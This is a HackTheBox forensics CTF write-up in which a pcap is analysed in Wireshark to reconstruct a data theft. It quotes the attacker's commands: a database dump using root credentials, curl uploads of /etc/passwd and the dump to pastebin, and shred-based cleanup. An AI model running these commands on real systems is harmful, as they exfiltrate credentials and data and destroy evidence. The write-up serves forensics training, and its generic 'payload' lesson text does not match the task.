Marshal in the Middle

Platform: HackTheBox | Category: Forensics | Difficulty: Easy | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

The security team was alerted to suspicous network activity from a production web server. Can you determine if any data was stolen and what it was?

Solution Approach

Core idea: Identify the weakness from source review or fingerprinting first. Iterate with incremental payloads instead of guessing.

Steps

1. First, unzip the .zip file given.

2. Open the .pcap file in wireshark.

3. Now let's follow the tcp stream.

4. When i followed the 2nd tcp stream. Got a clue here.

5. Based from it we know that the attacker checked connectivity to a database server, then used a script named exfildb.sh to dump the remote database.

 sh read-only • copy allowed Copy
./exfildb.sh mysql-m1.prod.htb 3306 root p4ssw0rd dbdump

1. Then the attacker tried to upload the contents of etc/passwd to pastebin.com using curl.

 sh read-only • copy allowed Copy
pastetext=$(cat /etc/passwd) ; curl -d "api_user_key=REDACTED&api_dev_key=REDACTED&api_paste_private=2&api_option=paste&api_paste_code=${pastetext}" 'https://pastebin.com/api/api_post.php'

1. Seems like the attacker tried to upload contents of etc/passwd again.

2. Next, the attacker used head to check the first four lines of the dumpdb file.

3. Then he used curl again to upload the database of pastebin.com.

 sh read-only • copy allowed Copy
pastetext=$(cat dumpdb) ; curl -d "api_user_key=REDACTED&api_dev_key=REDACTED&api_paste_private=2&api_option=paste&api_paste_code=${pastetext}" 'https://pastebin.com/api/api_post.php'

1. After that, the attacker tried to remove all the tools and dumped database from tmp/.h4x directory.

 sh read-only • copy allowed Copy
find /tmp/.h4x -type f -exec shred -vfun2  {} \;

1. The next thing to do is to check what was uploaded to pastebin.com.
2. First, we need to upload the secrets.log file we got from extracting the zip file as the TLS (Pre)-Master-Secret log filename, because we want to decrypt the encrypted HTTPS traffic.

STEPS

Go to edit -> preferences -> protocols -> TLS -> upload.

1. Now let's filter the http stream which has pastebin.com as the host.

COMMAND

http.host=="pastebin.com"

1. After follow the 1st and the 2nd HTTP stream, i got nothing useful.
2. But when i followed the 3rd one, i got the flag!

Flag

REDACTED

Lessons Learned

1. Identify the weakness from source review or fingerprinting first.
2. Iterate with incremental payloads instead of guessing.
3. Reuse the same pattern in future engagements.